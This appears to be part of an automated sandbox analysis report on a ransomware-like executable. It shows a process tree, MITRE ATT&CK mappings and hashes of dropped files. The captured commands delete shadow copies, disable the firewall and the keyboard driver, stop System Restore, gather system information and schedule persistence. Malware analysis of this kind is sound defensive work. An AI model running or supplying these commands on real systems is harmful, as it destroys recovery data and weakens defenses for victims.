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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4008
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5432
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2620
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C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3236
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3268
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5480
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:6120
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3660
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\kno77.it.com.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6116
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5636
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5192
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4188
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3572
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4352 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5128
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5716
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2188
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2208
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a3a055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4412
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C:\Users\Admin\AppData\Local\Temp\kno77.it.com.exeC:\Users\Admin\AppData\Local\Temp\kno77.it.com.exe1⤵PID:4508
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2264
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 68KB
- SHA256 265be5f8a4728c905694d19a2ed3f4d9c9939ac1c4f67bfcf0c6a3cbc5801cb3
- MD5 a38cce9b7f07930eea22b2475b82b5c3
- SHA1 6641b8411c093f4c5ff79a6f863eb493a563b817
- SHA512 49436ea95417912fc7d74ccb42ceb6bf03c00a1c983be11f61f020d40e56672b23f8b57cfdaf8be9c584a1c476b0666797d241c83301071ce214aa4658c1ff55
- SSDEEP 1536:nlRckt42ZabEwXTy7LWEFc+c5B5jX/BezplnU4I13VO4DMsy:nJ3ab7XTyGEFc+cJXAzplnRIJVnDMsy
- TLSH T1426319374A23FDC2677B3D80F06439561C843E6B9735526CFEC50E9A28B6684DF2E498
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\kno77.it.com.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3f0jmtxm.kfi.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 237B
- SHA256 0048ab5c48b43e1a81f953daefa5d3a196440f896f140b5102793f7fb893da5a
- MD5 c3da3657005c6040610c78c56ecf79e3
- SHA1 be5239322b0d839569cd6702f81daef38e54a762
- SHA512 021d66f76ecc95b2035e15277f41aa6996dae97f38e20d05f19b506a8d1cc269915a4261583a5827fa99fa29c289c7b97fb16664b1ad91d1e834d11eeece747f
- TLSH T1C1D0A7CBB148C6A90001123B85F38D4DE9F588683B17BF709BA5DD4D369088989F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 238B
- SHA256 ab1589bc2552c47fc8a046fbb776783147e48656725a2979ac0c34302b3ff52d
- MD5 e21fdfcd34a333a634ae5b29ff55c7db
- SHA1 9f63d343a6a68ec1c9c124a268c41a7deb7bed50
- SHA512 8f49e7e0716a656583fc8db6df08ea6f4a203019e612c370e1c2df5432066c19af1ae832e505c4a943329a6bb73aad27799690a6febc6323a45598c6eed634ce
- TLSH T1FDD0A7CBB148C6A90001123F84F38D4DEAE288683B17AF70EB65DD0E378088989F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\eicar_extra.com
- Size 68B
- SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
- MD5 44d88612fea8a8f36de82e1278abb02f
- SHA1 3395856ce81f2b7382dee72602f798b642f14140
- SHA512 cc805d5fab1fd71a4ab352a9c533e65fb2d5b885518f4e565e68847223b8e6b85cb48f3afad842726d99239c9e36505c64b0dc9a061d9e507d833277ada336ab
- TLSH T141A022003B0EEE2BA20B00200032E8B00808020E2CE00A3820A020B8C83308803EC228
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 51KB
- SHA256 c697215fac9dce867e28fcf299bd2acab7bdb10389f3949f522a8a6622ec68ae
- MD5 dcb9e53589ce0b558babf6e74e5db447
- SHA1 e233c525adc5803360c0a303048e2ec46bcaabac
- SHA512 bc39f354a2539538f99846d771492cfe7355a2fdfda4f0eaa4e81fefe70a3025fe0869b1b3b39d0c46bbf26f5c3558ffb384bc57097fc389c846575b06cae4c3
- SSDEEP 768:iSHYo5qn878dJiLBMJQ//nvUJmSEvVV/7X9zfXIyfLlrZ:LnE87jXk+dVNPRfLld
- TLSH T16433070437ED8511E2BF9ABA89F181119731F4639C23DB8E1AD4459E19F3B40CD98F6B
- MD5 SHA1 SHA512 SSDEEP TLSH